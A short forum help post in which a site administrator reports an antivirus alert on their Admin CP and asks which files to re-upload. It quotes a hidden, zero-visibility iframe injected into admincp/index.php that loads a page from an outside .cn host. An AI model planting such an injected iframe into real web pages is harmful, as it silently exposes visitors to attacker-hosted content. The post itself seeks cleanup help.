html:iframe-inf in Admin CP
 

When I try to access the Admin CP of my forum my avast antivirus tells me it's infected with HTML:Iframe-Inf...

I searched my admincp/index.php and found this string

< iframe src="http://bigtopstudios.cn:8080/index.php" width=191 height=111 style="visibility: hidden" >< /iframe >

I deleted it, turned off/on my avast, but it still detects a virus in the Admin CP...

I searched this topic and you recommended to another user that he reinstall the admin CP (or at least the index.php)... what files should I re-upload and what all will it affect on my forum?